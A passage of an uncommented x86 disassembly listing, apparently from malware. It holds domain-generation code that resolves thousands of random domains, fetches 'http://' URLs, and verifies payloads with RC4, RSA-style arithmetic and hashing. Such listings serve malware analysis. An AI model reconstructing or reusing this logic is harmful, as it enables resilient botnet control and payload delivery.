		call	GlobalAlloc
		mov	ecx, [ebp+hMem]
		lea	ebx, [ecx+edi*4]
		mov	[ebx], eax
		test	eax, eax
		jz	loc_9A8862
		call	sub_9A84A9
		push	eax		; X
		call	labs
		pop	ecx
		cdq
		push	6
		pop	ecx
		idiv	ecx
		mov	esi, edx
		add	esi, 4
		mov	[ebp+var_BC], esi
		mov	ebx, [ebx]
		mov	[ebp+var_D0], ebx
		and	[ebp+var_AC], 0


loc_9A8640:				; CODE XREF: sub_9A857A+F2j
		cmp	[ebp+var_AC], esi
		jnb	short loc_9A866E
		call	sub_9A84A9
		push	eax		; X
		call	labs
		pop	ecx
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	eax, [ebp+var_AC]
		mov	[eax+ebx], dl
		inc	[ebp+var_AC]
		jmp	short loc_9A8640
; ---------------------------------------------------------------------------


loc_9A866E:				; CODE XREF: sub_9A857A+CCj
		mov	byte ptr [ebx+esi], 0
		mov	eax, [ebp+hMem]
		lea	esi, [eax+edi*4]
		push	offset a_	; "."
		push	dword ptr [esi]	; Dest
		call	strcat
		call	sub_9A84A9
		push	eax		; X
		call	labs
		xor	edx, edx
		push	74h
		pop	ecx
		div	ecx
		push	off_9B85A0[edx*4] ; Source
		push	dword ptr [esi]	; Dest
		call	strcat
		add	esp, 14h
		inc	edi
		jmp	loc_9A85E5
; ---------------------------------------------------------------------------


loc_9A86B0:				; CODE XREF: sub_9A857A+77j
		and	[ebp+var_A0], 0


loc_9A86B7:				; CODE XREF: sub_9A857A+2DCj
		xor	esi, esi
		cmp	[ebp+var_B0], esi
		jnz	loc_9A8862
		cmp	[ebp+var_A0], 1F4h
		jnb	loc_9A8862
		call	GetTickCount
		mov	[ebp+var_B8], eax
		xor	edi, edi
		inc	edi
		mov	[ebp+ms_exc.disabled], edi
		push	offset dword_9BB310
		call	sub_9AA638
		pop	ecx
		xor	edx, edx
		mov	ecx, 0C350h
		div	ecx
		mov	eax, [ebp+hMem]
		mov	edx, [eax+edx*4]
		mov	[ebp+var_C4], edx
		push	edx		; name
		call	gethostbyname
		mov	[ebp+var_D4], eax
		cmp	eax, esi
		jz	loc_9A880A
		mov	ecx, [eax+0Ch]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		mov	edx, [ebp+var_A0]
		mov	[ebp+edx*4+Dst], ecx
		mov	ecx, [eax+0Ch]
		cmp	[ecx], esi
		jz	loc_9A880A
		mov	eax, ecx
		cmp	[eax+4], esi
		jnz	loc_9A880A
		mov	eax, [eax]
		mov	esi, [eax]
		mov	[ebp+var_CC], esi
		push	esi
		call	sub_9A5CB5
		pop	ecx
		test	eax, eax
		jz	loc_9A880A
		push	esi
		call	sub_9A5C88
		pop	ecx
		test	eax, eax
		jz	loc_9A880A
		push	esi		; netlong
		call	sub_9A4033
		pop	ecx
		test	eax, eax
		jnz	loc_9A880A
		mov	[ebp+var_B4], eax
		mov	[ebp+var_A8], eax


loc_9A878C:				; CODE XREF: sub_9A857A+287j
		mov	ecx, [ebp+var_A0]
		cmp	[ebp+var_A8], ecx
		jnb	short loc_9A87AF
		mov	ecx, [ebp+var_A8]
		cmp	esi, [ebp+ecx*4+Dst]
		jnz	short loc_9A87FB
		mov	[ebp+var_B4], edi


loc_9A87AF:				; CODE XREF: sub_9A857A+21Ej
		cmp	[ebp+var_B4], eax
		jnz	short loc_9A880A
		push	esi		; in
		call	inet_ntoa
		mov	[ebp+var_C0], eax
		test	eax, eax
		jz	short loc_9A880A
		push	eax
		push	offset aHttpS	; "http://%s"
		push	80h		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_snprintf
		mov	[ebp+var_1D], 0
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_9A8179
		add	esp, 14h
		mov	[ebp+var_B0], eax
		jmp	short loc_9A880A
; ---------------------------------------------------------------------------


loc_9A87FB:				; CODE XREF: sub_9A857A+22Dj
		inc	[ebp+var_A8]
		jmp	short loc_9A878C
; ---------------------------------------------------------------------------


loc_9A8803:				; DATA XREF: .text:009A3530o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A880A:				; CODE XREF: sub_9A857A+19Fj
					; sub_9A857A+1BEj ...
		and	[ebp+ms_exc.disabled], 0
		call	GetTickCount
		mov	esi, eax
		sub	esi, [ebp+var_B8]
		mov	[ebp+var_B8], esi
		push	offset dword_9BB310
		call	sub_9AA638
		pop	ecx
		xor	edx, edx
		push	29h
		pop	ecx
		div	ecx
		add	edx, 0Ah
		imul	edx, 3E8h
		mov	[ebp+var_C8], edx
		cmp	edx, esi
		jbe	short loc_9A8850
		sub	edx, esi
		push	edx		; dwMilliseconds
		call	Sleep


loc_9A8850:				; CODE XREF: sub_9A857A+2CBj
		inc	[ebp+var_A0]
		jmp	loc_9A86B7
; ---------------------------------------------------------------------------


loc_9A885B:				; DATA XREF: .text:stru_9A3520o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A885F:				; DATA XREF: .text:stru_9A3520o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A8862:				; CODE XREF: sub_9A857A+65j
					; sub_9A857A+94j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	[ebp+ms_exc.disabled], 2
		cmp	[ebp+hMem], 0
		jz	short loc_9A88BE
		and	[ebp+var_A0], 0
		mov	esi, GlobalFree


loc_9A8883:				; CODE XREF: sub_9A857A+331j
		cmp	[ebp+var_A0], 0C350h
		jnb	short loc_9A88AD
		mov	eax, [ebp+hMem]
		mov	ecx, [ebp+var_A0]
		mov	eax, [eax+ecx*4]
		test	eax, eax
		jz	short loc_9A88A5
		push	eax		; hMem
		call	esi ; GlobalFree


loc_9A88A5:				; CODE XREF: sub_9A857A+326j
		inc	[ebp+var_A0]
		jmp	short loc_9A8883
; ---------------------------------------------------------------------------


loc_9A88AD:				; CODE XREF: sub_9A857A+313j
		push	[ebp+hMem]	; hMem
		call	esi ; GlobalFree
		jmp	short loc_9A88BE
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A88BE:				; CODE XREF: sub_9A857A+2FAj
					; sub_9A857A+33Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A857A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A88D8	proc near		; CODE XREF: sub_9A898A+16p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	[eax], edx
		mov	[eax+4], edx
		xor	ecx, ecx


loc_9A88E7:				; CODE XREF: sub_9A88D8+1Aj
		mov	[eax+ecx*4+8], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_9A88E7
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		mov	[ebp+arg_0], edx


loc_9A88FC:				; CODE XREF: sub_9A88D8+56j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	bl, [esi+ebx]
		add	bl, dl
		lea	edi, [eax+ecx*4+8]
		mov	ecx, [edi]
		add	bl, cl
		movzx	edx, bl
		mov	ebx, [eax+edx*4+8]
		inc	esi
		cmp	esi, [ebp+arg_8]
		mov	[edi], ebx
		mov	[eax+edx*4+8], ecx
		jl	short loc_9A8924
		xor	esi, esi


loc_9A8924:				; CODE XREF: sub_9A88D8+48j
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 100h
		jl	short loc_9A88FC
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9A88D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8935	proc near		; CODE XREF: sub_9A898A+28p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ebx
		mov	ebx, [eax]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jle	short loc_9A8981
		push	esi


loc_9A894A:				; CODE XREF: sub_9A8935+49j
		inc	bl
		movzx	ebx, bl
		mov	edx, [eax+ebx*4+8]
		add	cl, dl
		movzx	ecx, cl
		lea	esi, [eax+ecx*4+8]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi]
		mov	[eax+ebx*4+8], ecx
		add	cl, dl
		mov	[esi], edx
		mov	esi, [ebp+arg_4]
		movzx	ecx, cl
		mov	cl, [eax+ecx*4+8]
		add	esi, edi
		xor	[esi], cl
		mov	ecx, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_9A894A
		pop	esi


loc_9A8981:				; CODE XREF: sub_9A8935+12j
		pop	edi
		mov	[eax], ebx
		mov	[eax+4], ecx
		pop	ebx
		pop	ebp
		retn
sub_9A8935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A898A	proc near		; CODE XREF: sub_9A8C4C+A9p

var_408		= byte ptr -408h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_8]
		push	eax
		call	sub_9A88D8
		push	[ebp+arg_4]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_0]
		push	eax
		call	sub_9A8935
		add	esp, 18h
		leave
		retn
sub_9A898A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A89BC	proc near		; CODE XREF: sub_9A8A16+3Ep
					; sub_9A8A16+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ecx, 80h


loc_9A89CD:				; CODE XREF: sub_9A89BC+1Ej
		mov	eax, [esi+ecx*4]
		mov	ebx, [edi+ecx*4]
		cmp	eax, ebx
		jb	short loc_9A89E0
		ja	short loc_9A89E7
		dec	ecx
		jns	short loc_9A89CD
		xor	eax, eax
		jmp	short loc_9A89EC
; ---------------------------------------------------------------------------


loc_9A89E0:				; CODE XREF: sub_9A89BC+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_9A89EC
; ---------------------------------------------------------------------------


loc_9A89E7:				; CODE XREF: sub_9A89BC+1Bj
		mov	eax, 1


loc_9A89EC:				; CODE XREF: sub_9A89BC+22j
					; sub_9A89BC+29j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9A89BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A89F1	proc near		; CODE XREF: sub_9A8A16+13p
					; sub_9A8AD9+38p

arg_0		= dword	ptr  4

		mov	eax, 101Fh
		push	esi


loc_9A89F7:				; CODE XREF: sub_9A89F1+1Fj
		mov	esi, [esp+4+arg_0]
		mov	edx, eax
		shr	edx, 5
		mov	edx, [esi+edx*4]
		mov	ecx, eax
		and	ecx, 1Fh
		shr	edx, cl
		test	dl, 1
		jnz	short loc_9A8A14
		dec	eax
		jns	short loc_9A89F7
		xor	eax, eax


loc_9A8A14:				; CODE XREF: sub_9A89F1+1Cj
		pop	esi
		retn
sub_9A89F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8A16(void *Dst,int,int)

sub_9A8A16	proc near		; CODE XREF: sub_9A8AD9+74p
					; sub_9A8AD9+A1p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	204h		; Size
		push	0		; Val
		push	[ebp+Dst]	; Dst
		call	memset
		push	ebx
		call	sub_9A89F1
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jl	loc_9A8AD7
		push	esi
		push	edi


loc_9A8A3D:				; CODE XREF: sub_9A8A16+B9j
		mov	edi, [ebp+Dst]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8A47:				; CODE XREF: sub_9A8A16+36j
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_9A8A47
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9A89BC
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9A8A78
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8A6C:				; CODE XREF: sub_9A8A16+60j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8A6C


loc_9A8A78:				; CODE XREF: sub_9A8A16+47j
		mov	eax, edx
		shr	eax, 5
		mov	eax, [ebx+eax*4]
		mov	ecx, edx
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9A8ACE
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_4]
		mov	ecx, 81h
		xor	eax, eax


loc_9A8A98:				; CODE XREF: sub_9A8A16+8Cj
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8A98
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9A89BC
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9A8ACE
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8AC2:				; CODE XREF: sub_9A8A16+B6j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8AC2


loc_9A8ACE:				; CODE XREF: sub_9A8A16+73j
					; sub_9A8A16+9Dj
		dec	edx
		jns	loc_9A8A3D
		pop	edi
		pop	esi


loc_9A8AD7:				; CODE XREF: sub_9A8A16+1Fj
		pop	ebp
		retn
sub_9A8A16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8AD9	proc near		; CODE XREF: sub_9A8BA1+89p

var_410		= byte ptr -410h
Dst		= byte ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	esi
		push	200h		; Size
		lea	eax, [edi+4]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [edi], 1
		call	memset
		mov	esi, 204h
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy
		push	[ebp+arg_4]
		call	sub_9A89F1
		and	[ebp+var_4], 0
		add	esp, 1Ch
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_9A8B9E
		push	ebx


loc_9A8B25:				; CODE XREF: sub_9A8AD9+C2j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	eax, ecx
		shr	eax, 5
		mov	eax, [edx+eax*4]
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9A8B63
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_410]
		push	edi		; int
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9A8A16
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		push	edi		; Dst
		call	memcpy
		add	esp, 18h


loc_9A8B63:				; CODE XREF: sub_9A8AD9+61j
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+var_410]
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9A8A16
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		mov	eax, ebx
		push	eax		; Dst
		call	memcpy
		add	esp, 18h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jle	short loc_9A8B25
		pop	ebx


loc_9A8B9E:				; CODE XREF: sub_9A8AD9+49j
		pop	esi
		leave
		retn
sub_9A8AD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8BA1(void *Src,int,int,int)

sub_9A8BA1	proc near		; CODE XREF: sub_9A8C4C+5Fp

var_810		= byte ptr -810h
var_611		= byte ptr -611h
var_60C		= byte ptr -60Ch
var_408		= byte ptr -408h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
Dst		= byte ptr -200h
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	esi, 200h
		push	esi		; Size
		mov	[ebp+var_204], eax
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	204h		; Size
		lea	eax, [ebp+var_60C]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+var_60C]
		push	eax		; Dst
		call	memcpy
		mov	eax, [ebp+arg_C]
		and	[ebp+var_208], 0
		add	esp, 24h
		xor	ecx, ecx
		add	eax, 1FFh


loc_9A8C00:				; CODE XREF: sub_9A8BA1+6Cj
		mov	dl, [eax]
		mov	[ebp+ecx+var_408], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9A8C00
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		lea	edi, [ebp+var_810]
		call	sub_9A8AD9
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_611]


loc_9A8C3A:				; CODE XREF: sub_9A8BA1+A5j
		mov	dl, [eax]
		mov	edi, [ebp+arg_8]
		mov	[ecx+edi], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9A8C3A
		pop	edi
		pop	esi
		leave
		retn
sub_9A8BA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8C4C(void *Src,int,int,int,int)

sub_9A8C4C	proc near		; CODE XREF: sub_9A8133+2Ap
					; sub_9B3150-308Ap

Buf1		= byte ptr -404h
var_403		= byte ptr -403h
Dst		= byte ptr -402h
var_244		= byte ptr -244h
Buf2		= byte ptr -204h
var_84		= byte ptr -84h
var_44		= byte ptr -44h
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+Src]
		xor	eax, ebp
		push	1FEh		; Size
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Dst]
		push	0FFh		; Val
		push	eax		; Dst
		mov	[ebp+Buf1], 0
		mov	[ebp+var_403], 1
		call	memset
		lea	eax, [ebp+var_244]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	esi		; int
		call	sub_9A8D34
		push	ebx		; int
		lea	eax, [ebp+Buf2]
		push	eax		; int
		push	[ebp+arg_4]	; int
		push	edi		; Src
		call	sub_9A8BA1
		push	180h		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		lea	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	memcmp
		add	esp, 34h
		test	eax, eax
		jnz	short loc_9A8D23
		push	40h		; Size
		lea	eax, [ebp+var_44]
		push	eax		; Buf2
		lea	eax, [ebp+var_244]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A8D23
		push	40h
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_9A898A
		lea	eax, [ebp+var_44]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	esi		; int
		call	sub_9A8D34
		push	40h		; Size
		lea	eax, [ebp+var_44]
		push	eax		; Buf2
		lea	eax, [ebp+var_84]
		push	eax		; Buf1
		call	memcmp
		add	esp, 28h
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_9A8D25
; ---------------------------------------------------------------------------


loc_9A8D23:				; CODE XREF: sub_9A8C4C+81j
					; sub_9A8C4C+9Aj
		xor	eax, eax


loc_9A8D25:				; CODE XREF: sub_9A8C4C+D5j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A8C4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8D34(int,int,void *Dst)

sub_9A8D34	proc near		; CODE XREF: sub_9A8C4C+4Ep
					; sub_9A8C4C+B6p

var_3CDC	= dword	ptr -3CDCh
Src		= byte ptr -3CD4h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3CDCh
		call	__alloca_probe
		mov	eax, dword_9B8788
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, ebp
		push	edi
		mov	edi, [ebp+Dst]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_3CDC]
		push	200h		; int
		push	eax		; Dst
		call	sub_9A8F65
		mov	eax, [ebp+arg_4]
		push	8
		pop	ecx
		mul	ecx
		push	edx
		push	eax
		lea	eax, [ebp+var_3CDC]
		push	esi
		push	eax
		call	sub_9A9237
		lea	eax, [ebp+var_3CDC]
		push	0		; Dst
		push	eax		; int
		call	sub_9A942A
		push	40h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	edi		; Dst
		call	memcpy
		mov	ecx, [ebp+var_4]
		add	esp, 2Ch
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A8D34	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8DA9	proc near		; CODE XREF: sub_9A8E1C+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edx, edx
		or	edx, esi
		xor	ecx, ecx
		or	eax, ecx
		mov	ebx, edx
		mov	esi, edx
		mov	edi, eax
		shld	ebx, edi, 10h
		mov	ecx, eax
		shrd	ecx, esi, 10h
		shld	edx, eax, 10h
		shl	edi, 10h
		xor	ecx, edi
		shr	esi, 10h
		xor	esi, ebx
		shl	eax, 10h
		mov	edi, 0FFFFh
		and	esi, edi
		and	ecx, edi
		xor	esi, edx
		xor	ecx, eax
		mov	ebx, esi
		mov	edx, esi
		mov	edi, ecx
		shld	ebx, edi, 8
		mov	eax, ecx
		shrd	eax, edx, 8
		shl	edi, 8
		shr	edx, 8
		xor	eax, edi
		shld	esi, ecx, 8
		xor	edx, ebx
		mov	edi, 0FF00FFh
		and	eax, edi
		and	edx, edi
		pop	edi
		xor	edx, esi
		shl	ecx, 8
		pop	esi
		xor	eax, ecx
		pop	ebx
		retn
sub_9A8DA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8E1C	proc near		; CODE XREF: sub_9A8FF3+6Ap
					; sub_9A942A+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		xor	edi, edi
		cmp	[esp+4+arg_4], edi
		jle	short loc_9A8E46
		push	esi


loc_9A8E26:				; CODE XREF: sub_9A8E1C+27j
		mov	eax, [esp+8+arg_0]
		lea	esi, [eax+edi*8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_9A8DA9
		inc	edi
		cmp	edi, [esp+10h+arg_4]
		pop	ecx
		pop	ecx
		mov	[esi], eax
		mov	[esi+4], edx
		jl	short loc_9A8E26
		pop	esi


loc_9A8E46:				; CODE XREF: sub_9A8E1C+7j
		pop	edi
		retn
sub_9A8E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8E48	proc near		; CODE XREF: sub_9A9237+BCp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, [ebp+arg_C]
		xor	edx, edx
		cmp	edi, edx
		jz	loc_9A8F62
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	ecx, 7
		push	ebx
		push	esi
		mov	[ebp+var_4], edx
		jz	short loc_9A8E86
		mov	ebx, [ebp+arg_0]
		mov	edx, ecx
		mov	esi, eax
		shr	esi, 3
		mov	bl, [esi+ebx]
		mov	cl, 8
		sub	cl, dl
		shr	bl, cl
		movzx	cx, bl
		mov	word ptr [ebp+var_4], cx


loc_9A8E86:				; CODE XREF: sub_9A8E48+21j
		add	edi, 7
		shr	eax, 3
		shr	edi, 3
		xor	esi, esi
		test	edi, edi
		mov	[ebp+var_C], eax
		jle	loc_9A8F60
		lea	eax, [edi-1]


loc_9A8E9F:				; CODE XREF: sub_9A8E48+112j
		cmp	esi, eax
		jz	short loc_9A8EB7
		mov	eax, [ebp+arg_8]
		movzx	ax, byte ptr [esi+eax]
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_4]
		xor	eax, ecx
		add	edx, 8
		jmp	short loc_9A8EE7
; ---------------------------------------------------------------------------


loc_9A8EB7:				; CODE XREF: sub_9A8E48+59j
		mov	eax, [ebp+arg_C]
		and	eax, 7
		mov	[ebp+var_8], 8
		jz	short loc_9A8EC9
		mov	[ebp+var_8], eax


loc_9A8EC9:				; CODE XREF: sub_9A8E48+7Cj
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [esi+eax]
		mov	ebx, [ebp+var_4]
		mov	cl, 8
		sub	cl, byte ptr [ebp+var_8]
		shr	al, cl
		mov	ecx, [ebp+var_8]
		shl	ebx, cl
		movzx	ax, al
		or	eax, ebx
		add	edx, ecx


loc_9A8EE7:				; CODE XREF: sub_9A8E48+6Dj
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setnz	cl
		mov	[ebp+var_10], ecx


loc_9A8EF7:				; CODE XREF: sub_9A8E48+10Dj
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		cmp	edx, 8
		setnl	al
		test	eax, ecx
		jnz	short loc_9A8F1B
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setz	cl
		xor	ebx, ebx
		test	edx, edx
		setnle	bl
		test	ecx, ebx
		jz	short loc_9A8F57


loc_9A8F1B:				; CODE XREF: sub_9A8E48+BCj
		push	8
		pop	eax
		cmp	edx, eax
		mov	[ebp+var_8], eax
		jg	short loc_9A8F28
		mov	[ebp+var_8], edx


loc_9A8F28:				; CODE XREF: sub_9A8E48+DBj
		mov	ebx, [ebp+var_4]
		mov	cl, dl
		sub	cl, byte ptr [ebp+var_8]
		shr	bx, cl
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		mov	eax, 0FF00h
		shl	bl, cl
		mov	ecx, [ebp+var_8]
		sar	eax, cl
		mov	ecx, [ebp+var_C]
		and	bl, al
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_C]
		sub	edx, [ebp+var_8]
		mov	[ecx+eax], bl
		jmp	short loc_9A8EF7
; ---------------------------------------------------------------------------


loc_9A8F57:				; CODE XREF: sub_9A8E48+D1j
		inc	esi
		cmp	esi, edi
		jl	loc_9A8E9F


loc_9A8F60:				; CODE XREF: sub_9A8E48+4Ej
		pop	esi
		pop	ebx


loc_9A8F62:				; CODE XREF: sub_9A8E48+Ej
		pop	edi
		leave
		retn
sub_9A8E48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8F65(void *Dst,int)

sub_9A8F65	proc near		; CODE XREF: sub_9A8D34+2Bp

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, [ebp+Dst]
		mov	edi, eax
		add	edi, 28h
		test	esi, esi
		jnz	short loc_9A8F84
		push	3
		pop	eax
		jmp	short loc_9A8FEF
; ---------------------------------------------------------------------------


loc_9A8F84:				; CODE XREF: sub_9A8F65+18j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_4], ebx
		jl	short loc_9A8FEB
		cmp	[ebp+arg_4], 200h
		jg	short loc_9A8FEB
		push	3CD8h		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		add	esp, 0Ch
		mov	[esi], eax
		xor	eax, eax
		cmp	edi, 0FFh
		setnle	cl
		xor	edx, edx
		cmp	edi, eax
		setl	dl
		mov	[esi+168h], eax
		mov	dword ptr [esi+16Ch], 40h
		or	ecx, edx
		jz	short loc_9A8FD7
		push	11h
		jmp	short loc_9A8FED
